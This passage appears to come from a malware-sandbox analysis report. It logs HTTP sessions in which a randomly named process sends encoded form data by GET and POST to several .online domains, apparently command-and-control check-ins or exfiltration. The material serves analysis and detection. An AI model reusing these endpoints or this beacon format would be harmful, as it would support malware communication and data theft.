9B_ppt=4EttVWIf0lcP7SmncSC7QYxui1dp4D0E0jw3q6vquvRYOsBo+g25i8W2D+aLw7cbDs0cN2tnS42HhEENQCDdCkSg5V0lI2H530WfAS4Tm0VJU6e0qiIvKuOk6DJwHaOsNBvEU33nwZpIgBqsYsbCDsUAyw2KtQr6HrwqyQVfAujzV3fnl+ciwJyK4EzwFlAkcUun9oo2Th1PY4P+dAnBcpAJOOJxlO1yU49GeADPIMzhIK1SkfBNF2Tw4t9mAt3/mDNCinkzFn17y5632Uh2kRpVItkZUOamxSlHQeNo9CQatiW4RIZCbwUijlrwKEiMm5y/CXZs+nBYsp++U9RjIJd0hMz9PHIzfO/SYv2whHoBZICaptjkCKzb2w55x6R09HD+AbBmETXbF/NhuSNX5OhbbNoUppSVQYl0AKhZlLaoNVovRQnqFwpnOpf0x+j7g3+eAGMOpMI5SKHxmSPlN9xIG939bJ3D9rFbCzslmvViiB80sLyyvPkGjRRdH9REJ5RgWnraovR8E94U38WlLknb8YTuonCQxQfLi7HzCDWFsz6LHOgRiOe9iAyUYm3Bav7S91O56uYL0LUROCeQA7PElp+iWJkLbOphDTFEhprtUSYSoFp0GMCy4QWi6JXz+IrSBiY+lw+DutidxFfQPhbegLHflZD8dfnN3R/0oVAbL8UnLtlb71WtbhfLbMeGJPQMix/GxoQxYwkMygftcpLtpnILoLqydVrUZu9pGyopIdtB+wmXT4quAfn80sB3vWKSFPz00hKD1OUeCV5Xh+xHM0l5D2I30ThM5E8TsoQ1k559uTikcJrPNCvMbS2rfQCiXt1TrABHplgo2QDzrIpwYDjELk+SV1Jv9rLruXGcYZ1MVUdReaV73eyq02Hs0/i0ggDnviWnuWwA1tYd5SHkb/daRqJO0HYVVw5g/oO0wf71oAF4qKdBzq+xdTDZSkO8BDeAdG2RV1SyaSNj7zKgEC/gmgLfbep7iWVRmHWnf [TRUNCATED]
Dec 13, 2024 13:09:27.841203928 CET	1236	OUT	Data Raw: 65 6e 59 54 69 79 33 71 75 35 6f 68 58 65 57 48 34 44 35 56 71 2b 71 59 6e 62 59 4f 32 52 46 2b 38 4e 64 63 72 35 64 7a 4c 49 6c 61 4a 52 6b 56 4c 70 2f 4c 31 52 4e 34 45 4f 6e 31 55 38 77 55 6c 4c 44 74 51 44 30 6b 45 33 43 34 66 6e 4d 55 67 46 Data Ascii: enYTiy3qu5ohXeWH4D5Vq+qYnbYO2RF+8Ndcr5dzLIlaJRkVLp/L1RN4EOn1U8wUlLDtQD0kE3C4fnMUgFgfqpAcLdXpJjLrpqh8NL6pFhfibJqlCrPGG5miPx3EQcv/9h1aRYxyH3SEEDVr84KDfmpQ3E0tx6gSNpn6FoumNzPzWcEdK+2j9PAkH5ZHyBbFiCagmwdv3ZYwpEg5AQoo2y7wJCPl4GVSgaLCXTOJt+fVuXC8RVF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	50033	144.76.190.39	80	5580	C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 13:09:30.255120993 CET	518	OUT	GET /r67x/?9B_ppt=1GFNWjEU8kwZ/mmLeya/cJNKrhAK4goi9jYztsjxkrAaNpZX0l6jkYi+VfuO97QxGNgBCFFWLt6B6VM0bCruEmjStFMTCnvezkXJEF9Ro0QfaPDcmWgUP4M=&Sbv8I=RfPDYvIHtJXp8 HTTP/1.1 Host: www.basicreviews.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)
Dec 13, 2024 13:09:31.568196058 CET	1193	IN	HTTP/1.1 302 Found Connection: close content-type: text/html content-length: 771 date: Fri, 13 Dec 2024 12:09:31 GMT server: LiteSpeed cache-control: no-cache, no-store, must-revalidate, max-age=0 location: http://www.basicreviews.online/cgi-sys/suspendedpage.cgi?9B_ppt=1GFNWjEU8kwZ/mmLeya/cJNKrhAK4goi9jYztsjxkrAaNpZX0l6jkYi+VfuO97QxGNgBCFFWLt6B6VM0bCruEmjStFMTCnvezkXJEF9Ro0QfaPDcmWgUP4M=&Sbv8I=RfPDYvIHtJXp8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 32 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 302 Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">302</h1><h2 style="margin-top:20px;font-size: 30px;">Found</h2><p>The document has been temporarily moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	50034	198.251.84.200	80	5580	C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 13:09:45.668402910 CET	785	OUT	POST /3qlo/ HTTP/1.1 Host: www.stationseek.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Origin: http://www.stationseek.online Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 203 Referer: http://www.stationseek.online/3qlo/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Data Raw: 39 42 5f 70 70 74 3d 65 31 65 64 77 4e 61 68 69 52 61 58 63 6b 6d 6c 67 2f 66 4b 57 7a 2b 65 53 78 44 4f 34 74 34 76 78 52 4c 51 56 52 59 57 49 6c 42 6c 34 6d 34 37 51 6c 72 73 79 6b 61 32 74 73 6c 73 73 6a 45 75 62 72 46 70 7a 7a 59 34 6c 50 70 73 77 4e 46 74 4b 38 6f 55 65 37 78 69 73 73 73 54 31 66 62 77 53 6f 55 34 4f 4e 7a 2b 33 70 72 72 38 34 48 62 2f 76 38 57 68 6c 35 41 68 33 65 6a 69 6d 6f 49 6f 76 50 7a 59 35 36 68 42 43 4d 38 46 6b 39 53 4b 45 46 64 53 44 70 4c 63 75 6a 36 71 79 59 48 38 76 6b 52 77 47 5a 36 57 37 56 2b 4e 45 54 33 79 52 4f 7a 4d 57 72 2b 50 78 62 4f 70 73 61 66 46 67 3d 3d Data Ascii: 9B_ppt=e1edwNahiRaXckmlg/fKWz+eSxDO4t4vxRLQVRYWIlBl4m47Qlrsyka2tslssjEubrFpzzY4lPpswNFtK8oUe7xisssT1fbwSoU4ONz+3prr84Hb/v8Whl5Ah3ejimoIovPzY56hBCM8Fk9SKEFdSDpLcuj6qyYH8vkRwGZ6W7V+NET3yROzMWr+PxbOpsafFg==
Dec 13, 2024 13:09:46.998615026 CET	908	IN	HTTP/1.1 301 Moved Permanently Connection: close content-type: text/html content-length: 707 date: Fri, 13 Dec 2024 12:09:46 GMT server: LiteSpeed location: http://www.stationseek.online/3qlo Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	50035	198.251.84.200	80	5580	C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 13:09:48.322998047 CET	805	OUT	POST /3qlo/ HTTP/1.1 Host: www.stationseek.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Origin: http://www.stationseek.online Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 223 Referer: http://www.stationseek.online/3qlo/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Data Raw: 39 42 5f 70 70 74 3d 65 31 65 64 77 4e 61 68 69 52 61 58 64 46 32 6c 6c 59 7a 4b 43 6a 2b 64 57 42 44 4f 75 64 34 72 78 52 48 51 56 54 31 4a 4a 58 56 6c 34 44 38 37 42 51 48 73 78 6b 61 32 6d 4d 6c 70 69 44 45 31 62 72 4a 4c 7a 79 30 34 6c 4c 42 73 77 50 4e 74 4b 73 55 56 63 72 78 67 67 4d 73 72 78 66 62 77 53 6f 55 34 4f 4d 58 59 33 70 6a 72 38 49 33 62 2b 4c 6f 56 2f 31 35 44 70 58 65 6a 30 57 6f 4d 6f 76 50 42 59 34 6d 59 42 42 6b 38 46 67 74 53 4b 33 64 43 59 44 70 4a 59 75 6a 6b 36 6e 42 4d 32 61 46 48 78 41 4a 34 62 4a 74 64 46 69 65 74 6a 67 76 6b 65 57 50 4e 53 32 53 36 6b 76 6e 57 65 6b 4b 57 74 54 65 71 52 51 5a 47 55 47 70 44 66 4b 75 66 47 52 41 3d Data Ascii: 9B_ppt=e1edwNahiRaXdF2llYzKCj+dWBDOud4rxRHQVT1JJXVl4D87BQHsxka2mMlpiDE1brJLzy04lLBswPNtKsUVcrxggMsrxfbwSoU4OMXY3pjr8I3b+LoV/15DpXej0WoMovPBY4mYBBk8FgtSK3dCYDpJYujk6nBM2aFHxAJ4bJtdFietjgvkeWPNS2S6kvnWekKWtTeqRQZGUGpDfKufGRA=
Dec 13, 2024 13:09:49.661906004 CET	908	IN	HTTP/1.1 301 Moved Permanently Connection: close content-type: text/html content-length: 707 date: Fri, 13 Dec 2024 12:09:49 GMT server: LiteSpeed location: http://www.stationseek.online/3qlo Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	50036	198.251.84.200	80	5580	C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 13:09:50.983047009 CET	10887	OUT	POST /3qlo/ HTTP/1.1 Host: www.stationseek.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Origin: http://www.stationseek.online Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 10303 Referer: http://www.stationseek.online/3qlo/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Data Raw: 39 42 5f 70 70 74 3d 65 31 65 64 77 4e 61 68 69 52 61 58 64 46 32 6c 6c 59 7a 4b 43 6a 2b 64 57 42 44 4f 75 64 34 72 78 52 48 51 56 54 31 4a 4a 58 4e 6c 34 31 41 37 54 48 54 73 77 6b 61 32 36 38 6c 6f 69 44 45 34 62 72 68 50 7a 7a 49 47 6c 4e 46 73 78 71 5a 74 61 50 4d 56 57 72 78 67 39 38 73 51 31 66 62 66 53 73 4a 78 4f 4e 6e 59 33 70 6a 72 38 4b 66 62 33 2f 38 56 39 31 35 41 68 33 65 2f 69 6d 70 72 6f 76 48 52 59 34 69 49 42 78 45 38 43 42 42 53 5a 31 46 43 55 44 70 58 56 4f 69 33 36 6e 46 44 32 65 74 39 78 41 56 57 62 4b 78 64 47 30 66 68 68 55 76 42 42 6d 62 41 4c 51 61 4e 67 76 62 73 65 45 57 4f 67 42 32 55 48 77 4a 66 5a 57 5a 4b 46 37 6d 6c 53 42 6f 50 52 6c 4e 64 71 62 37 58 4b 59 50 66 75 62 6a 74 52 6d 32 32 67 50 6a 36 67 2f 77 5a 51 61 35 6d 72 50 49 65 69 50 39 4d 6b 54 59 48 38 30 55 4a 43 45 4d 37 57 58 71 37 73 71 56 36 4a 31 32 71 57 34 73 73 57 6d 6c 63 4c 47 4e 78 47 66 47 30 43 79 5a 4d 72 48 2f 65 51 35 67 5a 4e 56 4d 32 79 50 54 35 4f 50 75 5a 69 4e 46 72 69 4f 36 2f 57 78 44 [TRUNCATED] Data Ascii: 9B_ppt=e1edwNahiRaXdF2llYzKCj+dWBDOud4rxRHQVT1JJXNl41A7THTswka268loiDE4brhPzzIGlNFsxqZtaPMVWrxg98sQ1fbfSsJxONnY3pjr8Kfb3/8V915Ah3e/improvHRY4iIBxE8CBBSZ1FCUDpXVOi36nFD2et9xAVWbKxdG0fhhUvBBmbALQaNgvbseEWOgB2UHwJfZWZKF7mlSBoPRlNdqb7XKYPfubjtRm22gPj6g/wZQa5mrPIeiP9MkTYH80UJCEM7WXq7sqV6J12qW4ssWmlcLGNxGfG0CyZMrH/eQ5gZNVM2yPT5OPuZiNFriO6/WxDImk/o0TV18FNBsdT0CasuvJ+uE7HN+Q1nu/5EakccMjW8VeLwesjdGGxTLhgBgatyAl0X1i6b2hy4toMxCh8l0Ns0yD1iroImWRvpieWkotCn3ZfwY3uYKgXShBxavJRi6MjcWzjvczK4dg6VXYO55A6j1T47IjjdetJVe/TBFsf3YjMowA4uWS+8qt+ScleNFeWd1XiASBX/6zOvVEDiQM31eseRJgYiepadii6WYdSVedcz6c2xkulwb551J5Yv00sRSr3tZgHCOedUpDffgQLfj0z3GtoCFyF+talgBslMJnPIzsIfScrmWxd3ESsElXUDWEckVQ+OlpgT28MbpaRg4uSdLiu4lGZCqollyQOk0EVGNubPO9Sd+Dn2L8n4I+P3ELYBjztQYzxm0EQ/2TRuIvOjKzaaZ70inYv310ftnxjy/Rp5e0rMYUhPqGk1uqxGY/dC1UiFB1bpEvK5b/aQCNSDpzkndzyPmcruNIrXm/BkfUSzj5oKdlUnbsYrmaTGqVPV753aUkpw9mF4mNiunjvgAYKB1tufoYHUxBYZjIymeabvNEDp1tQxAfD4V4TO6vE3q88gknMkCy2X9HOByZWl5kJKFGCgqqf9qBK36gstVw/OdbnKwfXrfrT90fSTavwsgJ1puHTtLO2DduOaHutKZTa3E [TRUNCATED]
Dec 13, 2024 13:09:52.307467937 CET	908	IN	HTTP/1.1 301 Moved Permanently Connection: close content-type: text/html content-length: 707 date: Fri, 13 Dec 2024 12:09:52 GMT server: LiteSpeed location: http://www.stationseek.online/3qlo Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	50037	198.251.84.200	80	5580	C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 13:09:53.647983074 CET	517	OUT	GET /3qlo/?9B_ppt=T329z6mTpDO/RjmIsaX6GxS+fVaV1tgKwTndei0jE2s03jQmQlLR7HOZ8ZNHnRQMcrtNhio3hbZStuVrccVySYYypr0GxKLOZ6Y8dZz+3cHpxqLj7fYKvSQ=&Sbv8I=RfPDYvIHtJXp8 HTTP/1.1 Host: www.stationseek.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2)
Dec 13, 2024 13:09:54.980513096 CET	1056	IN	HTTP/1.1 301 Moved Permanently Connection: close content-type: text/html content-length: 707 date: Fri, 13 Dec 2024 12:09:54 GMT server: LiteSpeed location: http://www.stationseek.online/3qlo?9B_ppt=T329z6mTpDO/RjmIsaX6GxS+fVaV1tgKwTndei0jE2s03jQmQlLR7HOZ8ZNHnRQMcrtNhio3hbZStuVrccVySYYypr0GxKLOZ6Y8dZz+3cHpxqLj7fYKvSQ=&Sbv8I=RfPDYvIHtJXp8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	50038	217.160.0.60	80	5580	C:\Program Files (x86)\GIWqUxABuwNFMqIjPARSMYHwWWpBRzkzeqHfVMDnlefWQFrmKIAqDhcRVgrtQhj\oCCZhsVsNwIIN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 13:10:00.847841978 CET	776	OUT	POST /tycs/ HTTP/1.1 Host: www.solarand.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Origin: http://www.solarand.online Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 203 Referer: http://www.solarand.online/tycs/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2) Data Raw: 39 42 5f 70 70 74 3d 45 6c 6a 57 76 55 31 78 5a 6b 50 32 6b 4d 68 79 71 4a 41 72 6e 49 49 4b 65 30 49 76 45 4c 42 67 79 36 68 2f 64 42 66 49 30 68 6a 52 4f 63 67 2b 4f 2b 54 64 45 30 6b 51 6c 4f 66 71 71 54 5a 72 65 55 68 75 50 30 6d 78 37 35 79 67 2f 78 71 52 6e 57 58 2b 4e 41 6a 36 7a 75 37 53 70 4d 32 42 2b 4f 37 6a 55 30 52 31 2f 73 74 68 51 71 4d 6d 71 47 46 62 46 49 36 2f 36 45 30 2b 5a 73 67 42 49 68 37 73 6a 70 50 31 5a 36 57 49 7a 69 53 72 54 2b 58 52 6f 30 77 6f 57 61 54 62 4b 53 57 78 72 4c 39 71 62 56 4e 66 55 39 70 76 4a 54 35 56 6f 77 59 41 73 6d 61 70 69 31 49 79 61 46 2b 43 65 77 3d 3d Data Ascii: 9B_ppt=EljWvU1xZkP2kMhyqJArnIIKe0IvELBgy6h/dBfI0hjROcg+O+TdE0kQlOfqqTZreUhuP0mx75yg/xqRnWX+NAj6zu7SpM2B+O7jU0R1/sthQqMmqGFbFI6/6E0+ZsgBIh7sjpP1Z6WIziSrT+XRo0woWaTbKSWxrL9qbVNfU9pvJT5VowYAsmapi1IyaF+Cew==
